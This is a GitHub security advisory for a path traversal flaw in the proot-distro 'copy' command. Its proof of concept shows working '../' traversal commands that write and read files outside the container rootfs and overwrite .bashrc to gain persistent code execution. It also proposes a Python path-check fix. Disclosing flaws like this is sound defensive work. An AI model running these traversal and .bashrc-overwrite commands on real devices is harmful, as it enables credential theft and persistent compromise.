Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "proot-distro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T20:25:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1\u003ePath Traversal in \u003ccode\u003eproot-distro copy\u003c/code\u003e \u2014 Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs\u003c/h1\u003e\n\u003ch2\u003eRepository\u003c/h2\u003e\n\u003cp\u003ehttps://github.com/termux/proot-distro\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMaintainer:\u003c/strong\u003e @sylirre\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Component\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePackage:\u003c/strong\u003e proot-distro\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected command:\u003c/strong\u003e \u003ccode\u003ecopy\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttack surface:\u003c/strong\u003e Host-side Termux CLI \u2014 this is not a guest distro shell issue\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability type:\u003c/strong\u003e Path Traversal (CWE-22)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Versions\u003c/h2\u003e\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected \u2014 tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n\u003chr\u003e\n\u003ch2\u003eProof of Concept\u003c/h2\u003e\n\u003cp\u003eAll tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The \u003ccode\u003e.bashrc\u003c/code\u003e overwritten\nduring testing was immediately restored.\u003c/p\u003e\n\u003ch3\u003eStep 1 \u2014 Setup\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003erm -rf ~/poc\nmkdir -p ~/poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 2 \u2014 Arbitrary write (overwrite a file outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"ORIGINAL\" \u0026gt; ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" \u0026gt; ~/poc/evil.txt\n\nproot-distro copy \\\n  ~/poc/evil.txt \\\n  \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/poc/target.txt\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/evil.txt\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/poc/target.txt\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/target.txt\n\u2192 PWNED_BY_PROOT_DISTRO\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 3 \u2014 Arbitrary read (exfiltrate a file from outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"TOP_SECRET\" \u0026gt; ~/poc/secret.txt\n\nproot-distro copy \\\n  \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n  ~/poc/read_result.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/secret.txt\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/poc/read_result.txt\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/read_result.txt\n\u2192 TOP_SECRET\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 4 \u2014 Persistent code execution via \u003ccode\u003e.bashrc\u003c/code\u003e overwrite\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eprintf \u0027echo VULN_TRIGGERED \u0026gt; ~/poc/proof.txt\\n\u0027 \u0026gt; ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n  \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/.bashrc\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/payload.sh\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/.bashrc\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification before restart:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/.bashrc\n\u2192\necho VULN_TRIGGERED \u0026gt; ~/poc/proof.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAfter closing and reopening Termux, the new shell sourced \u003ccode\u003e.bashrc\u003c/code\u003e and\nexecuted the payload automatically:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/proof.txt\n\u2192 VULN_TRIGGERED\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that attacker-controlled content written into \u003ccode\u003e.bashrc\u003c/code\u003e executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAttack Scenario\u003c/h2\u003e\n\u003cp\u003eThe most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls \u003ccode\u003eproot-distro copy\u003c/code\u003e with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.\u003c/p\u003e\n\u003cp\u003eOn a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to \u003ccode\u003e.bashrc\u003c/code\u003e allows persistent code execution triggered on next login.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eProposed Fix\u003c/h2\u003e\n\u003cp\u003eAfter resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eimport os\n\ndef safe_resolve(rootfs, container_path):\n    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip(\u0027/\u0027)))\n    root = os.path.realpath(rootfs)\n    if candidate != root and not candidate.startswith(root + os.sep):\n        raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n    return candidate\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis check must be applied to both the source and destination paths in the\n\u003ccode\u003ecopy\u003c/code\u003e subcommand.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAdditional Notes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eThis issue was reproduced on the official Termux release from\nhttps://packages-cf.termux.dev, not a fork.\u003c/li\u003e\n\u003cli\u003eNo root access was used at any point during testing.\u003c/li\u003e\n\u003cli\u003eAll test files were self-owned and contained only harmless marker data.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e.bashrc\u003c/code\u003e overwritten during testing was immediately restored after\nverification.\u003c/li\u003e\n\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e",
  "id": "GHSA-mfr4-mq8w-vmg6",
  "modified": "2026-07-17T20:25:37Z",
  "published": "2026-07-17T20:25:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/termux/proot-distro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/releases/tag/v5.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PRoot-Distro has Path Traversal in proot-distro copy \u2014 Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs"
}